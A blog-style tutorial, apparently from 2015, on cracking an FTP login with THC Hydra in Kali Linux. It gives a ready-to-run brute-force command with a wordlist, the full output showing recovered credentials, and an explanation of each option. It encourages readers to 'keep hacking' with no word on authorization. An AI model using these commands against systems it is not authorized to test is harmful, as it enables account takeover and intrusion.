CRACK PASSWORDS IN KALI LINUX WITH HYDRA

December 23, 2015 Hacking, How to, Kali Linux, Password

For years, experts have warned about the risks of relying on weak passwords to restrict access to data, and this is still a problem. A rule of thumb for passwords is the longer, the better. In this guide I will use FTP as a target service and will show how to crack passwords in Kali Linux with Hydra.

There are already several login hacker tools available, however none does either support more than one protocol to attack or support parallelized connects. We've previously covered password cracking using John the Ripper, Wireshark,NMAP and MiTM.

Hydra can be used and compiled cleanly on Linux, Windows/Cygwin, Solaris, FreeBSD/OpenBSD, QNX (Blackberry 10) and OSX.

Currently THC Hydra tool supports

the following protocols:

Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

Supported Platforms

1. All UNIX platforms (linux, *bsd, solaris, etc.)
2. Mac OS/X

3. Windows with Cygwin (both IPv4 and IPv6)
4. Mobile systems based on Linux, Mac OS/X or QNX (e.g. Android, iPhone, Blackberry 10, Zaurus, iPaq)

Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely. On Ubuntu it can be installed from the synaptic package manager. On Kali Linux, it is per-installed.

For brute forcing Hydra needs a list of passwords. There are lots of password lists available out there. In this example we are going to use the default password list provided with John the Ripper which is another password cracking tool. Other password lists are available online, simply Google it.

The password list s pre-installed on Kali Linux and its password list can be found at the following location

```
/usr/share/john/password.lst
```

It looks like this

```
#!comment: This list has been compiled by Solar Designer of Openwall Project,
#!comment: http://www.openwall.com/wordlists/
#!comment:
#!comment: This list is based on passwords most commonly seen on a set of Unix
#!comment: systems in mid-1990's, sorted for decreasing number of occurrences
#!comment: (that is, more common passwords are listed first).  It has been
#!comment: revised to also include common website passwords from public lists
#!comment: of "top N passwords" from major community website compromises that
#!comment: occurred in 2006 through 2010.
#!comment:
#!comment: Last update: 2011/11/20 (3546 entries)
123456
12345
password
password1
123456789
12345678
1234567890
```

Create a copy of that file to your desktop or any location and remove the comment lines (all the lines above the password 123456). Now our word list of passwords is ready and we are going to use this to brute force an ftp server to try to crack its password.

Here is the simple command with output

```
root@kali:~# hydra -t 1 -l admin -P /root/Desktop/password.lst -vV 192.168.1.1 ftp
Hydra v7.4.2 (c)2012 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2013-05-13 04:32:18
[DATA] 1 task, 1 server, 3546 login tries (l:1/p:3546), ~3546 tries per task
[DATA] attacking service ftp on port 21
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 192.168.1.1 - login "admin" - pass "123456" - 1 of 3546 [child 0]
[ATTEMPT] target 192.168.1.1 - login "admin" - pass "12345" - 2 of 3546 [child 0]
[ATTEMPT] target 192.168.1.1 - login "admin" - pass "password" - 3 of 3546 [child 0]
[21][ftp] host: 192.168.1.1   login: admin   password: password
```

```
[STATUS] attack finished for 192.168.1.1 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-05-13 04:32:33
root@kali:~#
```

Check the line “[21][ftp]”. It mentions the username/password combination that worked for the ftp server. Quite easy!

Now lets take a look at the options. The t option tells how many parallel threads Hydra should create. In this case I used 1 because many routers cannot handle multiple connections and would freeze or hang for a short while. To avoid this its better to do 1 attempt at a time. The next option is “l” which tells the username or login to use. In this case its admin. Next comes the capital “P” option which provides the word list to use. Hydra will pickup each line as a single password and use it.

The “v” option is for verbose and the capital “V” option is for showing every password being tried. Last comes the host/IP address followed by the service to crack.

THC hydra help menu - click to expand

Brute forcing is the most basic form of password cracking techniques. In works well with devices like routers etc which are mostly configured with their default passwords. However when it comes to other systems, brute forcing will not work unless you are too lucky.

However still brute forcing is a good practice for hackers so you should keep trying all techniques to hack a system. So keep hacking!!

Additional tools bundled with THC Hydra

pw-inspector

It reads passwords in and prints those which meets the requirements

pw-inspector help menu - click to expand

Resources

Source: http://www.thc.org/thc-hydra/

- Author: Van Hauser, Roland Kessler